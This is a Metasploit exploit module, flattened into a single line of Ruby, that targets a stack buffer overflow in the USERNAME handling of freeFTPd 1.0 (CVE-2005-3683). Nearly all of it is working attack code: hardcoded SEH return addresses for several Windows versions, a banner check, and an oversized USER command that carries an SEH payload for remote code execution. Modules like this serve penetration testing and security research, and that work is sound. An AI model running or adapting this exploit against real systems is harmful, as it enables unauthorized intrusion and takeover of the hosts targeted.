## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'freeFTPd 1.0 Username Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the freeFTPd multi-protocol file transfer service. This flaw can only be exploited when logging has been enabled (non-default). }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2005-3683'], [ 'OSVDB', '20909'], [ 'BID', '15457'] ], 'Privileged' => false, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => %w{ win }, 'Targets' => [ [ 'Windows 2000 English ALL', { 'Platform' => 'win', 'Ret' => 0x75022ac4, }, ], [ 'Windows XP Pro SP0/SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa32ad, }, ], [ 'Windows NT SP5/SP6a English', { 'Platform' => 'win', 'Ret' => 0x776a1799, }, ], [ 'Windows 2003 Server English', { 'Platform' => 'win', 'Ret' => 0x7ffc0638, }, ], ], 'DisclosureDate' => 'Nov 16 2005' )) end def check connect disconnect if (banner =~ /freeFTPd 1\.0/) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") buf = rand_text_english(1816, payload_badchars) seh = generate_seh_payload(target.ret) buf[1008, seh.length] = seh send_cmd( ['USER', buf] , false) handler disconnect end end